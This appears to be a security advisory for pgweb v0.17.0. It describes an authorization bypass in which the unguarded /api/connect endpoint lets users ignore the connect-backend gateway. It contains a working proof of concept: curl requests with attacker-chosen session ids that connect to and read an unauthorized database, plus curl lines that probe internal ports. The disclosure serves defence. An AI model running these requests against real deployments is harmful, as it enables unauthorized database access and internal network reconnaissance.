#869·pgweb

Connect-backend authorization bypass via direct /api/connect arbitrary connection string

Author: geo-chenCreated Aug 4, 2026Updated Aug 4, 2026

reported on 15 June 2026: https://github.com/sosedoff/pgweb/security/advisories/GHSA-4vqc-8j34-prvw

Affected version: v0.17.0

Summary

When pgweb is deployed with the Connect feature (--sessions --connect-backend=<url> --connect-token=<token>), the third-party backend is the authorization gateway: it maps an opaque resource identifier and the request headers of the authenticated end user to a specific database connection string, and is expected to be the only way a user reaches a database. The /api/connect endpoint remains registered and unguarded in this mode, so any end user can POST an attacker-supplied url form value and open a connection to any database reachable from the pgweb host, completely bypassing the backend. This grants access to databases the backend would never authorize (other tenants, internal-only databases) and turns pgweb into a server-side request forwarder against the internal network.

Details

Routes are registered in pkg/api/routes.go. In --sessions mode (which --connect-backend forces on, see pkg/command/options.go:135), both the backend route and the direct connect route are live:

root.GET("/connect/:resource", ConnectWithBackend)   // backend-gated path
...
api.POST("/connect", Connect)                         // direct, attacker-controlled path

Connect (pkg/api/api.go:145) has no awareness of connect-backend mode. Its only guards are LockSession, a bookmark_id branch, and BookmarksOnly:

go
func Connect(c *gin.Context) {
	if command.Opts.LockSession {
		badRequest(c, errSessionLocked)
		return
	}
	if bookmarkID := c.Request.FormValue("bookmark_id"); bookmarkID != "" {
		cl, err = ConnectWithBookmark(bookmarkID)
	} else if command.Opts.BookmarksOnly {
		err = errNotPermitted
	} else {
		cl, err = ConnectWithURL(c)        // <-- reached in connect-backend mode
	}
	...
}

BookmarksOnly cannot be combined with --connect-backend (rejected in pkg/command/options.go:177), so in a connect-backend deployment BookmarksOnly is always false and the else branch runs. ConnectWithURL (pkg/api/api.go:187) reads an arbitrary connection string straight from the request:

go
func ConnectWithURL(c *gin.Context) (*client.Client, error) {
	url := c.Request.FormValue("url")
	...
	return client.NewFromUrl(url, sshInfo)
}

The session in --sessions mode is keyed entirely by a client-supplied value (x-session-id header or _session_id query parameter, see pkg/api/helpers.go:86), so the attacker simply picks their own session id, calls /api/connect, and then issues queries against the connection they created. The connection created this way is not flagged External, so even the SwitchDb/GetDatabases External guards do not constrain it.

The net effect: the backend's resource-to-database authorization (the entire security purpose of the Connect feature) is bypassed. The same url value also lets the user point pgweb at arbitrary internal host:port targets; distinct error responses ("connection refused" vs "i/o timeout" vs a successful handshake) make this a usable internal port and service probe.

PoC

Prerequisites: a pgweb host running in connect-backend mode, a backend that authorizes exactly one database, and a second "secret" database that the backend never offers but which is reachable from the pgweb host.

  1. Start two PostgreSQL instances. The "authorized" one on port 6001, and a "secret" one on port 6002 that the backend will never hand out:
bash
docker run -d --name authorized -e POSTGRES_PASSWORD=authpw -e POSTGRES_USER=authuser -e POSTGRES_DB=authorized_db -p 6001:5432 postgres:15
docker run -d --name secret -e POSTGRES_PASSWORD=secretpw -e POSTGRES_USER=secretuser -e POSTGRES_DB=secret_db -p 6002:5432 postgres:15
docker exec secret psql -U secretuser -d secret_db -c "CREATE TABLE classified(secret text); INSERT INTO classified VALUES ('TOP-SECRET-CREDENTIAL-12345');"
  1. Run a backend that only ever returns the authorized database (this is the access-control gateway):
go
// backend.go
package main
import ("encoding/json"; "net/http")
func main() {
	resources := map[string]string{
		"id1": "postgres://authuser:[email protected]:6001/authorized_db?sslmode=disable",
	}
	http.HandleFunc("/", func(rw http.ResponseWriter, req *http.Request) {
		var r struct{ Resource, Token string; Headers map[string]string }
		json.NewDecoder(req.Body).Decode(&r)
		url, ok := resources[r.Resource]
		if !ok { rw.WriteHeader(404); return }
		json.NewEncoder(rw).Encode(map[string]string{"database_url": url})
	})
	http.ListenAndServe("127.0.0.1:4567", nil)
}
go run backend.go &
  1. Run pgweb in connect-backend mode:
pgweb --sessions --connect-backend=http://127.0.0.1:4567 --connect-token=test --bind=127.0.0.1 --listen=8081 --skip-open
  1. As an attacker, skip the backend entirely. Pick your own session id and connect directly to the secret database, then read it:
bash
ATK="attacker-chosen-session-0001"
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=$ATK" \
  --data-urlencode "url=postgres://secretuser:[email protected]:6002/secret_db?sslmode=disable"

curl -s -XPOST "127.0.0.1:8081/api/query?_session_id=$ATK" \
  --data-urlencode "query=SELECT * FROM classified"

Observed output:

# step 1 (legitimate, backend-gated) connect/id1 -> redirect Location: /?session=d7b9fbf5-880e-4f6a-9fe3-e0f5c30124e5
# GET /api/connection for that session -> {"current_database":"authorized_db","current_user":"authuser", ...}

# step 4 attack: POST /api/connect with attacker-chosen session and arbitrary url ->
{"current_database":"secret_db","current_schemas":"{public}","current_user":"secretuser","inet_server_addr":"172.17.0.3", ... }

# step 4 attack: POST /api/query ->
{"columns":["secret"],"rows":[["TOP-SECRET-CREDENTIAL-12345"]],"stats":{"columns_count":1,"rows_count":1, ...}}

The attacker read TOP-SECRET-CREDENTIAL-12345 from secret_db, a database the backend never authorized for any user.

Internal probing, same endpoint:

bash
# point at a non-postgres internal service
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p1" --data-urlencode "url=postgres://x:[email protected]:4567/db?sslmode=disable&connect_timeout=2"
-> {"error":"read tcp 127.0.0.1:...->127.0.0.1:4567: i/o timeout","status":400}

# closed port
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p2" --data-urlencode "url=postgres://x:[email protected]:6543/db?sslmode=disable&connect_timeout=2"
-> {"error":"connection refused","status":400}

Impact

Any end user able to reach the pgweb HTTP endpoint in connect-backend mode can fully bypass the backend authorization gateway and open a database connection of their choosing. They gain read/write SQL access (subject to the target database credentials they supply, but also to any host the pgweb process can reach, including localhost-only and other-tenant databases on the internal network) and can use the connect error responses to map internal services. This defeats the entire purpose of the connect-backend feature, which exists to restrict which databases a given user may access.